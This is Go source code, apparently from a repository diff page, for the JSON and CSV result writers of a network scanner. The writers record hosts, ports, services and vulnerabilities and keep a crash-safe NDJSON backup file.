func NewJSONWriter(filePath string) (*JSONWriter, error) {
|
||||
file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create JSON file: %w", err)
|
||||
}
|
||||
|
||||
// 创建实时备份文件(NDJSON格式,每行一个JSON对象)
|
||||
realtimePath := filePath + ".realtime.tmp"
|
||||
realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||
if err != nil {
|
||||
file.Close()
|
||||
return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
|
||||
}
|
||||
|
||||
return &JSONWriter{
|
||||
file: file,
|
||||
buffer: NewResultBuffer(),
|
||||
realtimeFile: realtimeFile,
|
||||
realtimePath: realtimePath,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// WriteHeader 写入头部
|
||||
func (w *JSONWriter) WriteHeader() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Write 收集扫描结果,同时实时写入备份文件
|
||||
func (w *JSONWriter) Write(result *ScanResult) error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return fmt.Errorf("writer is closed")
|
||||
}
|
||||
if result == nil {
|
||||
return fmt.Errorf("result cannot be nil")
|
||||
}
|
||||
|
||||
// 1. 加入内存分类缓冲(用于最终有序输出)
|
||||
w.buffer.Add(result)
|
||||
|
||||
// 2. 实时写入备份文件(NDJSON格式,防崩溃丢失)
|
||||
if w.realtimeFile != nil {
|
||||
data, err := json.Marshal(result)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to marshal result: %w", err)
|
||||
}
|
||||
if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil {
|
||||
return fmt.Errorf("failed to write realtime backup: %w", err)
|
||||
}
|
||||
if err := w.realtimeFile.Sync(); err != nil {
|
||||
return fmt.Errorf("failed to sync realtime backup: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Flush 刷新写入器
|
||||
func (w *JSONWriter) Flush() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Close 关闭写入器(写入完整JSON,删除临时备份)
|
||||
func (w *JSONWriter) Close() error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return nil
|
||||
}
|
||||
|
||||
hosts, ports, services, vulns := w.buffer.Summary()
|
||||
output := JSONOutput{
|
||||
ScanTime: time.Now(),
|
||||
Summary: JSONSummary{
|
||||
TotalHosts: hosts,
|
||||
TotalPorts: ports,
|
||||
TotalServices: services,
|
||||
TotalVulns: vulns,
|
||||
},
|
||||
Hosts: w.buffer.HostResults,
|
||||
Ports: w.buffer.PortResults,
|
||||
Services: w.buffer.ServiceResults,
|
||||
Vulns: w.buffer.VulnResults,
|
||||
}
|
||||
|
||||
data, err := json.MarshalIndent(output, JSONIndentPrefix, JSONIndentString)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
w.closed = true
|
||||
|
||||
// 关闭并删除实时备份文件(正常结束,不再需要)
|
||||
if w.realtimeFile != nil {
|
||||
w.realtimeFile.Close()
|
||||
os.Remove(w.realtimePath)
|
||||
}
|
||||
|
||||
if _, err := w.file.Write(data); err != nil {
|
||||
return err
|
||||
}
|
||||
return w.file.Close()
|
||||
}
|
||||
|
||||
// GetFormat 获取格式类型
|
||||
func (w *JSONWriter) GetFormat() Format {
|
||||
return FormatJSON
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// CSVWriter - CSV格式写入器
|
||||
// =============================================================================
|
||||
|
||||
// CSVWriter CSV格式写入器(分类去重)
|
||||
// 双写机制:内存分类缓冲 + 实时NDJSON备份
|
||||
type CSVWriter struct {
|
||||
file *os.File
|
||||
bufWriter *bufio.Writer
|
||||
csvWriter *csv.Writer
|
||||
mu sync.Mutex
|
||||
closed bool
|
||||
buffer *ResultBuffer
|
||||
realtimeFile *os.File // 实时备份文件(NDJSON格式)
|
||||
realtimePath string // 实时备份文件路径
|
||||
}
|
||||
|
||||
// NewCSVWriter 创建CSV写入器
|
||||
func NewCSVWriter(filePath string) (*CSVWriter, error) {
|
||||
file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create CSV file: %w", err)
|
||||
}
|
||||
|
||||
// 创建实时备份文件(NDJSON格式)
|
||||
realtimePath := filePath + ".realtime.tmp"
|
||||
realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||
if err != nil {
|
||||
file.Close()
|
||||
return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
|
||||
}
|
||||
|
||||
bufWriter := bufio.NewWriter(file)
|
||||
csvWriter := csv.NewWriter(bufWriter)
|
||||
|
||||
return &CSVWriter{
|
||||
file: file,
|
||||
bufWriter: bufWriter,
|
||||
csvWriter: csvWriter,
|
||||
buffer: NewResultBuffer(),
|
||||
realtimeFile: realtimeFile,
|
||||
realtimePath: realtimePath,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// WriteHeader 写入CSV头部
|
||||
func (w *CSVWriter) WriteHeader() error {
|
||||
return nil // 延迟到Close时写入
|
||||
}
|
||||
|
||||
// Write 收集扫描结果,同时实时写入备份文件
|
||||
func (w *CSVWriter) Write(result *ScanResult) error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return fmt.Errorf("writer is closed")
|
||||
}
|
||||
if result == nil {
|
||||
return fmt.Errorf("result cannot be nil")
|
||||
}
|
||||
|
||||
// 1. 加入内存分类缓冲(用于最终有序输出)
|
||||
w.buffer.Add(result)
|
||||
|
||||
// 2. 实时写入备份文件(NDJSON格式,防崩溃丢失)
|
||||
if w.realtimeFile != nil {
|
||||
data, err := json.Marshal(result)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to marshal result: %w", err)
|
||||
}
|
||||
if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil {
|
||||
return fmt.Errorf("failed to write realtime backup: %w", err)
|
||||
}
|
||||
if err := w.realtimeFile.Sync(); err != nil {
|
||||
return fmt.Errorf("failed to sync realtime backup: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Flush 刷新写入器
|
||||
func (w *CSVWriter) Flush() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Close 关闭写入器(按类型分组写入,删除临时备份)
|
||||
func (w *CSVWriter) Close() error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 写入各分类
|
||||
w.writeSection("# Hosts", []string{"Target"}, w.buffer.HostResults, w.formatHostRecord)
|
||||
w.writeSection("# Ports", []string{"Target", "Port", "Status"}, w.buffer.PortResults, w.formatPortRecord)
|
||||
w.writeSection("# Services", []string{"Target", "Service", "Version", "Title", "Status", "Server", "Fingerprints", "Banner"}, w.buffer.ServiceResults, w.formatServiceRecord)
|
||||
w.writeSection("# Vulns", []string{"Target", "Type", "Details"}, w.buffer.VulnResults, w.formatVulnRecord)
|
||||
|
||||
w.closed = true
|
||||
|
||||
// 关闭并删除实时备份文件(正常结束,不再需要)
|
||||
if w.realtimeFile != nil {
|
||||
w.realtimeFile.Close()
|
||||
os.Remove(w.realtimePath)
|
||||
}
|
||||
|
||||
w.csvWriter.Flush()
|
||||
if err := w.csvWriter.Error(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := w.bufWriter.Flush(); err != nil {
|
||||
return err
|
||||
}
|
||||
return w.file.Close()
|
||||
}
|
||||
|
||||
func (w *CSVWriter) writeSection(title string, headers []string, results []*ScanResult, formatter func(*ScanResult) []string) {
|
||||
if len(results) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
_ = w.csvWriter.Write([]string{title})
|
||||
_ = w.csvWriter.Write(headers)
|
||||
|
||||
for _, result := range results {
|
||||
_ = w.csvWriter.Write(formatter(result))
|
||||
}
|
||||
_ = w.csvWriter.Write([]string{})
|
||||
}
|
||||
|
||||
func (w *CSVWriter) formatHostRecord(result *ScanResult) []string {
|
||||
return []string{result.Target}
|
||||
}
|
||||
|
||||
func (w *CSVWriter) formatPortRecord(result *ScanResult) []string {
|
||||
port := ""
|
||||
if result.Details != nil {
|
||||
if p, ok := result.Details["port"]; ok {
|
||||
port = fmt.Sprintf("%v", p)
|
||||
}
|
||||
}
|
||||
return []string{result.Target, port, "open"}
|
||||
}
|
||||
|
||||
func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string {
|
||||
service, version, title, status, server, fingerprints, banner := "", "", "", "", "", "", ""
|
||||
if result.Details != nil {
|
||||
if s, ok := result.Details["service"].(string); ok {
|
||||
service = s
|
||||
}
|
||||
if s, ok := result.Details["name"].(string); ok && service == "" {
|
||||
service = s
|
||||
}
|
||||
if s, ok := result.Details["plugin"].(string); ok && service == "" {
|
||||
service = s
|
||||
}
|
||||
if v, ok := result.Details["version"].(string); ok {
|
||||
version = v
|
||||
}
|
||||
if t, ok := result.Details["title"].(string); ok {
|
||||
title = escapeControlChars(t)
|
||||
}
|
||||
if s, ok := result.Details["status"]; ok && s != nil && s != 0 {
|
||||
status = fmt.Sprintf("%v", s)
|
||||
}
|
||||
if s, ok := result.Details["server"].(string); ok {
|
||||
server = escapeControlChars(s)
|
||||
}
|
||||
fingerprints = formatFingerprints(result.Details["fingerprints"])
|
||||
if b, ok := result.Details["banner"].(string); ok {
|
||||
banner = escapeControlChars(b)
|
||||
banner = truncateString(banner, 100)
|
||||
}
|
||||
}
|
||||
target := result.Target
|
||||
if result.Details != nil {
|
||||
target = targetWithPort(target, result.Details["port"])
|
||||
}
|
||||
return []string{target, service, version, title, status, server, fingerprints, banner}
|
||||
}
|
||||
|
||||
func formatFingerprints(value interface{}) string {
|
||||
switch v := value.(type) {
|
||||
case []string:
|
||||
return strings.Join(v, ",")
|
||||
case []interface{}:
|
||||
parts := make([]string, 0, len(v))
|
||||
for _, item := range v {
|
||||
if s, ok := item.(string); ok && s != "" {
|
||||
parts = append(parts, s)
|
||||
}
|
||||
}
|
||||
return strings.Join(parts, ",")
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func (w *CSVWriter) formatVulnRecord(result *ScanResult) []string {
|
||||
vulnType := ""
|
||||
vulnName := result.Status
|
||||
if result.Details != nil {
|
||||
if t, ok := result.Details["type"].(string); ok {
|
||||
vulnType = t
|
||||
}
|
||||
if v, ok := result.Details["vulnerability"].(string); ok && v != "" {
|
||||
vulnName = v
|
||||
} else if v, ok := result.Details["vulnerability_name"].(string); ok && v != "" {
|
||||
vulnName = v
|
||||
}
|
||||
}
|
||||
return []string{result.Target, vulnType, vulnName}
|
||||
}
|
||||
|
||||
// GetFormat 获取格式类型
|
||||
func (w *CSVWriter) GetFormat() Format {
|
||||
return FormatCSV
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user